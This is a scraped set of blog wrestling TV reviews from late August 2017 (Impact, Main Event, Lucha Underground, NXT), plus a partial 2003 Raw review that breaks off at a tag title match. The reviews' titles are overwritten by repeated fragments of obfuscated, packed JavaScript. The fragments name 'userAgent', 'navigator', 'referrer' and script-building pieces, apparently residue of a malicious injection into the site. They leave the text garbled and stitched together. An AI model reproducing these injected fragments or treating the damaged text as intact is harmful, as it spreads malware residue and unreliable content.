");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytihh|var|u0026u|referrer|zhabh||js|php'.split('|'),0,{})) Wrestling
Date: August 31, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s officially the Eli Drake Era here and that means the talking is going to get a lot better. Last week Drake became the new World Champion by outlasting most of the roster in Gauntlet for the Gold. Now it’s time to get ready for Bound For Glory and that means starting to set up a card, though they have some time to work with for a change. Let’s get to it.

Chris Adonis and Eli Drake arrive.

In the far more important story though, American Top Team arrives with owner Dan Lambert telling Jeff Jarrett that he doesn’t want any peace with him.

Here are Drake and Adonis for a chat in front of a big zebra print couch. Drake has worked hard for fourteen years and now he has this title. It actually makes him mad because it should have been so much faster. Earlier today, he was at the pool and wound up having a rather nice afternoon with a cougar featuring some nice plastic. He didn’t get much rest today but now he’s here to say that Drake being champion is just a fact of life, no matter who you are.

Cue Johnny Impact to say he’s had more names than Drake has won titles and knows what it takes to become a champion. This brings out Eddie Edwards to say he’s been around here a long time and that means he’s above Johnny on the totem pole. They both want shots and Johnny is willing to fight to earn his.

Cue Jim Cornette to make a tag match between the four of them for tonight. If Drake gets the pinfall, he doesn’t have to defend against any of them. If any of the other three gets the fall though, they get the shot. Of note here: Cornette came out, talked about how hot the title hunt was, made the match and was done in less than 75 seconds. Now that’s how this kind of stuff should be.

Allie comes up to ask Taryn Terrell why she was so mean to Gail Kim. Taryn: “You re so f’ing annoying!” Allie gets punched in the face and slammed into a wall with Taryn saying to make sure Gail gets the message.

Mario Bokara/Fallah Bahh vs. OVE

Bokara gets caught in the wrong corner and a swinging neckbreaker gives Jake two. We see LAX watching from their clubhouse. Bahh comes in and runs Jake over but misses the legdrop, leaving Mario to take a double kick in the corner. Dave comes in for a Doomsday Device with a cutter instead of a clothesline for the pin on Bokara at 2:52. Another squash.

Moose is in Cornette’s office where Jim tells him that he’ll be on TripleMania in Mexico (which has already taken place), along with Lashley, who is looking for him. Ethan Carter III comes in to ask why he’s not on TripleMania but Cornette says he’s got a Grand Championship defense. Ethan: “I didn’t know about that.” Cornette: “Oh you didn’t know?” Ethan: “No I didn’t know.” Cornette and Moose: “Your A** BETTER CALL SOMEBODY!”

Caleb Konley vs. Petey Williams

This is Petey’s first singles match on the show in eight years. Don’t care? Well neither do I, but they’ve mentioned it three times now so it must be a big deal. Konley has Trevor Lee with him. Petey headscissors him over a few times but gets distracted by Trevor, allowing Konley to legsweep him down.

Petey gets beaten down and sent hard into the corner for two. A Russian legsweep into a crucifix gives Petey two and he avoids a moonsault for good measure. Lee gets on the apron to break up the Canadian Destroyer though, sending Petey over the top for a slingshot hurricanrana to take Trevor down. A slingshot Codebreaker sets up the Destroyer to give Petey the pin at 5:54.

Rating: C. So…..Petey Williams is back. I’m not sure why this is supposed to be a big deal but that’s exactly what we got. The match was fine but nothing we haven’t seen, including all of Petey’s big spots. The division can use the extra talent, though Williams isn’t someone I’ve thought of since he left.

Sonjay Dutt saves Petey from a post-match beatdown.

Richard Justice has a match tonight.

Karen Jarrett yells at Taryn for attacking Allie and makes Taryn/Sienna vs. Allie/Gail. She might even throw in some stipulations when we get to the match. Karen is just so forced in this role.

Richard Justice vs. Kongo Kong

The top rope splash ends Justice at 51 seconds.

Mahabali Shera comes out to save Justice from a post match beating.

Johnny Impact is ready to take Eli Drake’s gravy train to Slam Town.

Konnan tells Low Ki to send James Storm to the hospital.

James Storm vs. Low Ki

This is Storm’s first match since Slammiversary. Ki knocks him into the ropes to start so LAX can get in some cheap shots from the floor. Some right hands in the corner set up the same result and it’s off to a seated abdominal stretch on Storm. James fights up with a running enziguri and a running neckbreaker.

The Eye of the Storm is countered so Storm tries a catapult, only to get caught with a middle rope Warrior’s Way for two. A second attempt at the Eye of the Storm doesn’t work either but Ki misses the real Warrior’s Way. Now the Eye of the Storm gets two but LAX offers a distraction. The Last Call looks to finish Ki, only to have Santana come in with a belt shot. Ki adds the Warrior’s Way for the pin at 9:20.

Rating: B-. Good match but sweet goodness I do not care about Ki or LAX in general. They’re not interesting in any way and that makes for some dull moments. At least they’re not the focus though and this midcard role is WAY better for them than as the top heels in the company. Assuming Alberto doesn’t come back as their top star in November, I’m fine with them where they are.

Allie is telling Braxton Sutter about what happened when Garza Jr. comes up to check on her. Sutter doesn’t like it and tells him to get out.

Jim Cornette recaps the Lashley/American Top Team stuff, which is mainly a way to show Karen screeching a lot.

Pagano is coming.

Joseph Park goes over Grado and Laurel Van Ness’ wedding checklist. Park’s uncle Tobias is going to be DJ and he’s one of the best in Sheboygan, Wisconsin. Laurel’s family is coming down from Canada and Park panics. It’s about time they got to that detail.

Taya Valkyrie is coming.

Lashley hasn’t made a decision on his future yet but he’s ready to go to TripleMania and clean house.

Eli Drake/Chris Adonis vs. Johnny Impact/Eddie Edwards

If Johnny or Eddie get the pin, they’re #1 contender. I’m going to assume there’s something else after this as the bell rang at 9:30. Eddie chops Adonis to start before it’s off to Johnny for a headlock. Drake comes in and runs from an Impact kick to the face. Instead it’s back to Adonis who eats a standing shooting star for two.

Everything breaks down and the Shot of Caffeine drops Drake, followed by a running corkscrew dive to drop Adonis as we take a break. Back with Johnny’s breakdancing legdrop getting two on Drake. Impact gets taken into the wrong corner for a beating as the announcers keep name dropping MMA fighters. Not only do most of them not mean anything to me as a casual MMA fan, but if I wanted to watch MMA, I’d be watching that instead.

A double suplex gets two on Impact but he kicks Eli away for the hot tag to Eddie. Some chops and a Blue Thunder Bomb get two on Adonis and we take a break. Back with Adonis grabbing an abdominal stretch on Eddie with some bonus forearms to the ribs. Eddie fights out and brings in Impact to speed things up. Adonis saves Drake from the split legged moonsault and it’s a double Moonlight Drive for two on Drake. Eli throws him into a bearhug from Adonis before forearming Edwards off the apron.

The match just keeps going as Eddie saves Impact from taking another double suplex. Everything breaks down and the Flying Chuck sets up kind of a cartwheel 450 (with the fans counting him down) for another near fall as Adonis makes the save. Eddie dives onto Adonis and Drake for no cover but Eli gets in a low blow to set up the Gravy Train (Eli Drop/White Noise) for the pin at 26:00.

Rating: C-. Well that was long. I have no idea why this needed almost half an hour when it was an average tag match at best. It was completely watchable but that doesn’t mean I need to see that much of it. Drake getting the pin is interesting as he needs a challenger and I kind of like the idea of not going with the obvious for a change.

Post match American Top Team comes out to say these four should be scared to death right now. Cornette comes out and tells Lashley to tell Lambert under control before he goes to TripleMania. That’s not all though as Cornette makes Drake vs. Matt Sydal next week for the title. Matt comes out to stare at Drake to end the show.

Overall Rating: C-. I really don’t have any feelings about this show whatsoever, save from wanting to weld Karen Jarrett’s mouth shut and ban any mention of mixed martial arts from this show forever. It’s pretty clear that the American Top Team stuff is going to be a major story all the way until Bound For Glory and that’s really not good news.

It’s also not a good sign that the story is completely overshadowing the new World Champion and whatever he’s doing but that’s always been a trope of this company: you have the biggest title in the promotion but then you have the REAL top story above that. Good enough show this week but as always, it’s far from without its big flaws.  Like not knowing when TripleMania aired.  Get that stuff right.

Results

OVE b. Mario Bokara/Fallah Bahh – Top rope cutter to Bokara

Petey Williams b. Caleb Konley – Canadian Destroyer

Kongo Kong b. Richard Justice – Top rope splash

Low Ki b. James Storm – Warrior’s Way

Eli Drake/Chris Adonis b. Johnny Impact/Eddie Edwards – Gravy Train to Edwards

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefrb|var|u0026u|referrer|sedbr||js|php'.split('|'),0,{})) Event
Date: August 31, 2017
Location: FedEx Forum, Memphis, Tennessee
Commentators: Vic Joseph, Corey Graves

It’s a shame that this can’t be your classic Memphis style show as it would give things a fresh blast of energy. That being said, I can live with dull wrestling if it means we get to see the Roman Reigns/John Cena promo again, which was easily one of the most entertaining things I’ve seen all year. Let’s get to it.

Opening sequence.

Dana Brooke vs. Alicia Fox

They lock up to start with Fox sending her into the corner but getting rolled up for two. A handstand splash gets two on Alicia but she comes back with some knees to the back. We hit the chinlock as it’s pretty clear they don’t have much to do here. The northern lights gives Alicia two but Brooke makes her comeback with some slams and a cartwheel splash for the pin at 5:20.

Rating: D. Thank goodness they didn’t have her job here in a meaningless match. I’ll never understand how someone can get back out there so soon after the kind of loss Brooke went through (her boyfriend died less than a week before this was taped) but it’s quite impressive that she’s back out there performing. The match was exactly what you would expect from something like this but I’m not going to hold anything against Dana at this point.

We look back at Braun Strowman laying out Brock Lesnar two weeks ago.

From Raw.

Here are Brock Lesnar and Paul Heyman for a chat. Heyman talks about what happened last week with Braun Strowman, who is the kind of monster that his parents warned him about. Strowman had an historic night at Summerslam when he, as Corey Graves said, monster handled Lesnar by powerslamming him through two tables. We see a clip of last week’s attack on Lesnar, which Heyman says made him know Strowman is a monster. At No Mercy, Lesnar is going to be ready for Strowman. Heyman explains what’s going to happen but Brock takes the mic. Brock: “What he’s trying to say is Suplex City b****.”

From Raw again.

Kurt Angle is in the ring for the contract signing between Cena and Reigns. Cena is out first to say that he’s on Raw to face one man and Angle has made that happen for No Mercy. He’s seen Reigns being treated as the untouchable star and we’ll see how he can hang at No Mercy. Cena signs and here’s Reigns. Roman says that as great as Cena is, there’s one thing that he’s done that Cena can never do: retire the Undertaker at Wrestlemania.

Cena kneels before him and says some people are still trying to figure Reigns out. We hear about the fans wanting to see Cena change his ways (with the term heel turn being dropped in a rare moment) before Cena says Reigns is just a guy trying to fill shoes he can never fill. Cena isn’t a man at the end of his career with a bad hip. The reason Reigns won’t sign that is because the Roman Empire is done if he does.

Reigns says Cena sucks so Cena puts his arm around Angle and says the fans think he does too but he won a gold medal. Roman seems a bit shaken and lost for what to say. Cena: “Go ahead find it. I’ll wait. It’s called a promo and if you want to be the big dog you’re going to have to learn how to do it. SEE YOU FOURTH WALL!” Reigns gets fired up and goes on a rant that sounds straight off a message board, talking about how hard he works on the weekend so Cena can be on the Today Show.

Then Cena gets on his tour bus and shows up at a show if they pay him enough with the big shovel to bury people around him. Reigns is the one guy he can’t bury or see. Cena calls him out for being repetitive and says “it took you five years to cut a halfway decent promo but now I’m about to cut you down to size.” He talks about the mythical golden shovel but it’s always the fans who hold the keys and they always will.

Cena is tired of hearing the same thing for ten years by a lot tougher people. Here’s the thing: Cena hasn’t main evented Wrestlemania in five years and he was the opening match at Summerslam. He won the US Title and used it to introduce new stars to the WWE including Kevin Owens and AJ Styles (I believe he means Sami Zayn as AJ debuted way later). Reigns took the US Title as a demotion and now stands there blaming Cena for not being able to hang with him.

Cena has seen a lot of people trying to hang at this level and he’s heard about one guy getting to do it. Now he sees Roman face to face and gets the line of the night: “You’re lucky I’m a part timer because I can do this part time way better than you ever could full time.” Reigns signs and turns over the table….and the clip ends before Anderson and Gallows’ ridiculous cameo appearance can be mentioned.

Ariya Daivari vs. Mustafa Ali

Daivari takes him down without much effort and we hit an early armbar. A dropkick sends Daivari outside and we take a break. Back with Daivari eating a jumping knee to the face for two but grabbing a spinebuster for the same. Not that it matters as Ali’s rolling neckbreaker and tornado DDT set up the 054 for the pin at 8:20.

Rating: C. It didn’t have much time to do anything (remember the long break) and that’s kind of a shame. Ali has become one of the more consistent cruiserweight performers and Daivari isn’t the worst, as long as we don’t have to hear his lame promos. This was your standard Main Event cruiserweight match though and that’s not a good thing.

We’ll wrap it up here.

Women’s Title: Alexa Bliss vs. Sasha Banks

Banks is defending and gets rolled up for an early two. Sasha sends her hard into the corner and grabs an armbar. They’re starting with a slow pace and Bliss bails to the floor for a breather. There are the double knees from the apron and we take a break. Back with Bliss holding an armbar of her own before starting in on the back.

It’s off to a bow and arrow hold but Banks fights up without too much effort. The Bank Statement doesn’t work so Sasha goes with the running knees in the corner, only to miss a second attempt. Bliss goes with a hard right hand and a Code Red for a pretty close two. Banks gets in a few more knees and some aggressive forearms in the corner.

Back up and Alexa catches her in the corner by sending her face first into a buckle. A top rope superplex connects to bust up the back even more. Bliss is slow to cover and gets caught in the Bank Statement. That’s reversed into a rollup for two and there’s the DDT to give Bliss the title back at 15:00.

Rating: B. I’m really not getting the lack of successful title defenses for Banks. That makes four reigns and she’s lost the title in her first defense every time. As for the match itself, Bliss winning clean is an interesting call and the right one if you have to change the title. She looked better than she has before in the ring and is getting to the point where she can hang with the better workers. Couple that with the insane charisma and persona and she’s quite the force.

Post match Nia Jax comes out and destroys Sasha before putting Bliss on her shoulders. One electric chair later and Jax holds up the title over the new champ to end the show.

Overall Rating: C+. The main event and the long promo alone make this an easy show to watch. As usual the original wrestling was nothing memorable in the slightest but I don’t think anyone watches this show for that content. Raw is still on a roll right now with even the recap shows being entertaining.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrare|var|u0026u|referrer|zdafi||js|php'.split('|'),0,{})) Underground
Date: August 30, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

We’re into the final stretch of the season now (after what feels like 183 years) and that means we’re on the way to Ultima Lucha Tres. With the main event set, there shouldn’t be too many more weeks to go before we get to the big show. That being said, this is Lucha Underground so we’ll likely have three tournaments and ten new characters before we get there. Let’s get to it.

The opening video looks at Marty Martinez being creepy, Cortez Castro being unmasked, Son of Havoc vs. Son of Madness and Johnny Mundo retaining last week.

Dario Cueto comes in to see Matanza, whose protection he now requires. In two weeks, Matanza gets to face Mysterio one on one.

Ultima Lucha Tres starts in four weeks and will be four weeks long this year.

Son of Madness vs. Mascarita Sagrada

Sagrada comes out in the biker vest given to him by Son of Havoc. Madness kicks him in the back to start and stomps him down in the corner as this is looking squashish. Sagrada gets in a kick of his own but a suplex puts him away at 2:13.

Son of Havoc comes in for the save as Dario makes Havoc vs. Madness in a Boyle Heights Biker Brawl for an Aztec Medallion later tonight. As he’s making the announcement, Paul London comes out to carry Sagrada away.

Marty Martinez vs. Argenis

Marty drives him into the corner for some rapid fire shots to the face and chest but misses a charge. A springboard….something is broken up with a faceplant and it’s time for Marty to start after the mask. Marty gets sent outside for a big dive and a hurricanrana off the steps. Since it’s just a hurricanrana, Marty sends him into the post to draw some blood. With his blood on Marty’s shoulder, Argenis comes back with a neckbreaker as Striker talks about platelets falling. Marty loads him up for a Dominator and flips it into a Codebreaker (cool) for the pin at 5:11.

Rating: C-. The blood was a nice touch and the finisher was cool as Marty looks like a killer all over again. That’s the kind of thing you get around here that’s missing from other promotions and it helps a lot. You can pretty much guarantee Fenix vs. Marty at Ultima Lucha and I’m actually looking forward to that one a bit, especially with Fenix’s great in-ring performances more often than not.

Post match Marty beats on him even more and steals the bloody mask. Marty gets in Melissa’s face, saying he wants Fenix’s mask. He’ll get it at Ultima Lucha Tres. Fenix comes out for some kicks and issues a challenge for mask vs. hair.

Joey Ryan vs. Sexy Star

Watch your arm Joey. Star hammers away in the corner as Striker babbles about smart women loving smart men. A tornado DDT gives Star two and a victory roll gets the same. Joey pulls her down by the hair and here’s Taya with a sign to mock Sexy and her fans. I’m not sure how many fans she has but then again Lucha Underground has blown her importance WAY out of the water for a long time now. Star biels him around by the chest hair, followed by Three Amigas for two. She dives onto Taya instead of following up though and it’s a superkick to give Joey the pin at 4:57.

Rating: D+. Just a match here but Star’s recent actions have somehow made me care about her even less. She’s already one of the most overpushed wrestlers I’ve seen in a long time and now there’s only one thing you can think about when she’s out there. Joey getting the win is a nice surprise, though we’re just waiting on Castro to come out for the brawl.

Post match Joey tries to put the lollipop in Star’s mouth so Castro comes in for the save with a kendo stick.

Back from a break with Castro coming into Dario’s office. He should arrest Dario right now but Dario gives him a street fight with Joey for an Aztec Medallion next week.

Aztec Medallion: Son of Havoc vs. Son of Madness

Street fight. Havoc knees Madness (thankfully in a vest so we can tell them apart) in the face to start as the vest is already off. A trashcan shot drops Havoc and they fight into the crowd as Striker makes Repo Man jokes. They take turns being sent into various objects with some fans catching Havoc as he’s thrown into the crowd again.

Madness gets thrown back to ringside for a dive out of the crowd, only to have Havoc knee the barricade by mistake. A backdrop sends Madness into the same barricade though as Striker talks about how you would do some of this stuff in a bar fight. Back in and Madness clotheslines him down (I think. Having these two looking identical is really annoying.) as Striker keeps making jokes about the beards, completely missing the point of something that is supposed to be so serious.

Havoc sends him outside again and into the steps, setting up a handspring elbow in the corner. A cutter gives Havoc two but Madness drops him again and goes to find a toolbox. Instead he picks up a garbage can for a Death Valley Driver. Now it’s time for a hammer but Havoc charges into a beer bottle to the head. The shooting star gives Havoc the pin at 13:03.

Rating: B-. Good brawl here with both guys beating each other up, though it was rather difficult to keep track of which was which most of the time. Havoc winning is the right move as Madness seems like a one off character. The match was fun enough and felt like a fight, save for Striker being more annoying than he’s been in months with all of his unfunny jokes and talking about how you wouldn’t do this stuff in a biker brawl. But Striker isn’t going to change and the match was still good so it’s hard to complain about all that much.

Overall Rating: C+. The fact that this season finally has an end date in sight helps a lot but sweet goodness does it really matter at this point? Next week will be a year since this “season” started and it’s still got the better part of two months to go after. At least they’re starting to set up some more stories for Ultima Lucha Tres than just the main event, which is really needing the build up with so little time to go. Good show this week though and that’s important right now.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

https://wrestlingrumors.net/kbs-review-feel-power-inflated-records/

One of WWE’s latest ideas that solves a problem that I don’t think anyone else knows exists.

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bffrz|var|u0026u|referrer|edyfr||js|php'.split('|'),0,{})) August 30, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Nigel McGuinness, Mauro Ranallo

We’re back to the regular stuff this week as NXT returns home to Full Sail. After last week’s recap/reset episode, this time we’ll be having the first storyline advancements since Brooklyn. The big story will see Drew McIntyre as the new NXT Champion and the former Ring of Honor guys biting at his heels. Let’s get to it.

Opening sequence.

Sanity, some security guards and possibly other wrestlers are down in the back. Three people, presumably Adam Cole, Bobby Fish and Kyle O’Reilly are seen walking away. William Regal comes in and wants medical personnel.

Here’s McIntyre for his first comments as champion. After the required YOU DESERVE IT chants, Drew says this is his life. The last seventeen years have led him to this moment and this is his life’s work. He understands that the title comes with a big bullseye on his back. Drew brings up Cole and company and is ready to face anyone so here’s Roderick Strong to interrupt. Roderick wants a shot at the title but first, he has to face Bobby Roode. The champ seems game.

Roode says he’s already on Smackdown but tonight he’s beating Strong and coming after his NXT Title, which he’ll bring up to Smackdown with him.

Peyton Royce vs. Ruby Riot

They head to the mat to start with Riot getting the better of it and scoring with a dropkick for two. An armbar keeps Royce in trouble so Peyton knees her in the face for a breather. Ruby gets thrown outside and we take a break. Back with Ruby fighting out of a chinlock and firing off a string of kicks for two. A Death Valley Driver gives Royce a quick two but Riot knocks her around even more.

Billie Kay pulls Royce outside though, like a true friend should be doing. That’s fine with Riot, who nails a double suicide dive. Royce tries to crawl away until Riot grabs her by the legs. Billie pulls her outside for a big boot though, with the referee seeing no problem with Riot just disappearing while pulling on Royce’s leg. Back in and Peyton’s fisherman’s suplex is good for the pin at 10:45.

Rating: C-. I like the idea of Royce and Kay getting a win here and there, especially when they cheat to keep Riot looking strong. With Asuka’s status in flux at the moment, Riot could become a major player on top of the division in a hurry. Royce is getting better in the ring though and she has a finisher that works well enough, which should help her in the future.

Kassius Ohno comes in to ask Regal for a match with Hideo Itami. The match is already made but Ohno wants and receives no disqualifications as a bonus stipulation.

Video on Heavy Machinery.

Heavy Machinery vs. Edwin Nagrom/Damien Awheel

Otis takes Awheel into the corner with a lockup, sending him climbing the buckles without breaking it up. It’s off to Knight for a front facelock on Awheel and a crossbody to both jobbers at once. The Compactor drives Awheel onto Nagrom and it’s a double pin for Dozovic at 2:11. Total squash, made only slightly more annoying by the odd jobber names.

We look at Lars Sullivan attacking No Way Jose.

Regal isn’t please with Sullivan being so violent and puts him in a 3-1 handicap match next week.

Cezar Bononi vs. Andrade Cien Almas next week.

Roderick Strong vs. Bobby Roode

The fans chant THANK YOU BOBBY until we’re ready to go. Roode promises to prove that Strong is a failure all over again but takes too long doing GLORIOUS, allowing Roderick to punch him down. A headlock slows Strong down as Roode is a full on face here. Strong will have none of that as he hammers away at Roode’s head and grabs two straight backbreakers.

The threat of a third backbreaker on the floor sees Roode shove Strong into the steps, followed by a spinebuster on the floor. Back from a break with Roode hitting a backbreaker of his own and striking the GLORIOUS pose. He poses a bit too long though and it’s Strong grabbing a pop up gutbuster for a breather. An Angle Slam is countered into an armdrag but Strong settles for another backbreaker. A tiger bomb into a Boston crab sends Roode straight for the ropes.

Back up and a TKO into a Stunner gives Roode two of his own. Another spinebuster looks to set up the Glorious DDT but it’s the Angle Slam from Strong instead. The fans are split now as Roode breaks up a super backbreaker, only to get enziguried on the top. Strong settles for a superplex for another near fall and both guys are down.

A slugout goes to Roode, who grabs the Glorious DDT for two with Roderick (it sounded like Percy called him Roger) getting his foot on the ropes. Roode makes the mistake of talking trash about Strong’s family though and it’s a jumping knee to the face. Strong nails End of Heartache, blows Roode a kiss goodbye, and hits a second to put Roode away at 17:48.

Rating: B+. This felt like Strong vs. Jay Lethal for the ROH TV Title where Strong needed to win and finally threw everything he had at Roode until there was nothing left. This is the kind of win that Strong has been missing as he’s never had that signature victory. If nothing else it’s going to put him near the NXT Title picture, either challenging McIntyre or joining the ROH guys as their second in command. Really good match here with a simple yet effective story.

It’s pretty clear that this is it for Roode in NXT and I was really surprised by how much I liked his time there. I’ve never quite gotten all of his hype in TNA but he was excellent in NXT with a very basic style played up to a high level. That made for some good matches to go with that outstanding theme song. I’m glad that they seem to want to do something with him on Smackdown as Roode is already 40 and deserves this kind of a run after spending so much time in TNA.

Post match Drew comes out to stare down Strong but gets jumped by Cole and company. Regal comes out to chase them off as the three of them shout about this being their NXT and how they’re doing Regal a favor to end the show. They’re doing a solid job of making them feel like the original NWO and that’s a good thing.

Overall Rating: B. They hit the ground running on this taping and that’s a very good sign. You have a fresh champion with a hot heel act plus Strong as a wildcard. That leaves you with a bunch of different possibilities, all of which could produce some very good results. Having those options is fun but it’s a lot more fun to see how they get to an ending, which is a long way off from here. Very good show this week and I’m feeling better about NXT than I have in a long time.

Results

Peyton Royce b. Ruby Riot – Fisherman’s suplex

Heavy Machinery b. Edwin Nagrom/Damien Awheel

Roderick Strong b. Bobby Roode – End of Heartache

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkerb|var|u0026u|referrer|ednie||js|php'.split('|'),0,{})) Night Raw
Date: March 31, 2003
Location: Key Arena, Seattle, Washington
Commentators: Jim Ross, Jerry Lawler

It’s time for one of the biggest Raw’s of the year and it should be interesting to see where things are going. HHH needs a new challenger after he sent Booker packing from the main event scene and Rock finally vanquished Steve Austin at Wrestlemania. There’s room for a lot of changes on the show at the moment so let’s get to it.

We open with a nearly four minute highlight package of last night. Nothing wrong with that after the biggest show of the year.

Opening sequence.

Rock is looking in a mirror when a makeup guy comes up, only to annoy the Great One. Tonight is Rock Appreciation Night and he needs to look perfect.

Here’s Austin to get things going in the arena. Austin says he’s always been honest since he’s been here and last night Rock was the better man. He’d like to have Rock come out here right now for a handshake but gets Eric Bischoff with some papers instead. Eric doesn’t buy Austin wanting a handshake and thinks it’s a ploy. The fact is Austin won’t be beating anyone up anytime soon.

The night before Wrestlemania, Austin was in a hospital so Eric had his lawyers look into a few things. While Austin was in the hospital for an anxiety issue, there’s a lot more to it than that. Bischoff reads off a bunch of neck and back issues that Austin is dealing with (apparently having stolen Austin’s personal medical records) and he’s not medically cleared to wrestle. Austin says he’s going to do whatever he wants and that includes fighting against doctor’s orders. That’s fine with Bischoff, who fires him. The FedEx is on its way to Austin’s home in Texas too.

HHH vs. Hurricane

Non-title. During the entrances, JR and King say that Goldberg will be part of the upcoming Backlash pay per view. Hurricane gives his mask to a kid so Flair takes it away and breaks the thing. HHH jumps him on the floor and takes him down with a spinebuster back inside. A vertical suplex is broken up and Hurricane’s jumping neckbreaker mostly connects.

Some jumping clotheslines and a Shining Wizard give Hurricane two but Flair trips him up. It doesn’t really matter as the chokeslam is good for two, followed by a high crossbody for a pretty good near fall. The Pedigree is broken up and the Eye of the Hurricane gets two more. The Blockbuster misses though and it’s a Pedigree to put HHH away.

Rating: C-. This would also be known as a “take that Rock” match as Rock went out of his way to give Hurricane a rub and then HHH beats him clean in about four minutes. Hurricane’s offense looked good and there’s nothing wrong with the World Champion getting a clean win but did it just NEED to be Hurricane? Seems rather petty but that’s how it goes.

Goldberg video. He’ll be at Backlash.

Scott Steiner vs. Christopher Nowinski

Chris has a protective mask on his face and politely requests not to be hit in the face. Steiner threatens to make Nowinski floss with his shoelaces and Nowinski’s running doesn’t get him anywhere. Scott hammers him down and gets in a kick to the chest but Nowinski uses a headbutt with the mask to get a breather. Not that it matters as a belly to belly and the Steiner Recliner put Chris away in short order. Total squash.

Austin confirms that his neck is messed up.

Rock Appreciation Moment: a song montage. It really is amazing how much great stuff he packed into so little time.

JR goes on a heck of a rant against Bischoff for somehow getting Austin’s medical records and getting rid of him this way. Heck yeah JR. Medical reasons like Austin having a horrible neck and back? What kind of problems could those ever cause? I get what they’re going for with Bischoff finding a way to get rid of Austin but good luck getting me to take issue with protecting the neck/back of someone who already missed a year due to neck surgery.

The Dudleys aren’t happy with Storm and Morely. Here’s the Chief to tell them that they’re in the Tag Team Title match tonight as well where their jobs will be to get rid of RVD and Kane before laying down to retain the titles.

Flair comes in to see Booker T., who is getting his knee taped up. Booker chokes Flair for being annoying and shows why he’s one of the scariest men in wrestling. Seriously he was terrifying when he was shouting down at Flair.

Clip of Ashanti singing America the Beautiful.

Rosey vs. Maven

Fallout from Maven pinning Rico a few weeks back and of course that requires another match. Maven kicks him in the ribs but gets his head taken off with a clothesline. King ignores the match to talk about being a celebrity photographer for Playboy, which doesn’t cause nearly as much excitement as you would expect.

Rosey misses a charge in the corner and gets forearmed down, only to have Maven COMPLETELY miss a dropkick to Rosey’s back. The idea was supposed to have Rosey get knocked into Rico on the apron, likely for a rollup pin. Rosey starts to go into Rico anyway but thankfully realizes how stupid that would be since he wasn’t touched. They stumble around into an awful looking rollup to give Maven two, followed by a sunset flip to put Rosey away. This was terrible and made some of the Divas matches look horrible. By the way, Maven would have been a perfect choice (one of many) for HHH’s squash earlier rather than Hurricane.

Here’s Chris Jericho for a match but first he needs some respect. Jericho talks about having one of the best matches in Wrestlemania history last night and Shawn Michaels knows that he was bested. When people look back at the match, they’ll remember Shawn writhing in pain while Jericho walked out with his head held high. Tonight, he’ll take out his frustrations on Booker T.

Chris Jericho vs. Booker T.

Booker has a bad leg so Jericho goes after it before the bell. Some kicks and elbow drops have the leg in trouble but Booker kicks him over the top for a breather. Back in and a flapjack drops Jericho as JR praises HHH’s Indian Deathlock. There’s a superkick but here’s Flair for the DQ.

HHH comes out and it’s a 3-1 beatdown until Shawn makes the save. Jericho breaks up Sweet Chin Music though and it’s Shawn taking the beatdown, including the Walls. HHH gets the Indian Deathlock and the good guys tap. Yeah it’s still just an Indian Deathlock dude. Try the sleeper again.

Jeff Hardy vs. Steven Richards

Jeff is in all white, making him look like he’s off to paint an apartment. Richards gets sent outside early on but Victoria pulls him away before Jeff’s barricade running clothesline. Back in and a DDT on the arm gives Richards two and we hit the armbar as Jeff’s blue arm paint is all over Richards. Jeff makes the comeback and gets two off the leg lariat in the corner. The Swanton is broken up by Victoria so here’s Trish, who got out here WAY too fast, to kick her in the head. Now the Swanton can put Richards away.

Rating: D. The paint was the most interesting part of the match. This Jeff/Trish thing isn’t doing anything for me but I can’t imagine it’s going to be anything long term. They also need some fresh talent for the women’s division as Trish vs. Victoria all over again makes my head hurt.

Trish smiles at Jeff post match.

Austin says goodbye to the production staff and leaves.

Rock Appreciation Moment: Rock insults various crowds and people. “HE SAID TORONTO! THAT’S WHERE WE LIVE!” Still amazing.

Test calls Torrie Wilson because he’s dumb enough to do this when his girlfriend is around. Speaking of the girlfriend, Stacy comes up and innocently asks who was on the phone. Test gets nervous and says it was a wrong number. He tries to get Goldust to lie for him but the Tourette’s gets the better of him.

Rock finds the dejected production staff (who haven’t moved since Austin left) and says he’s got a big party after Rock Appreciation Night. I mean, they can’t come in or anything but the party will be happening.

Goldberg video.

Tag Team Titles: Dudley Boyz vs. Rob Van Dam/Kane vs. Lance Storm/Chief Morely

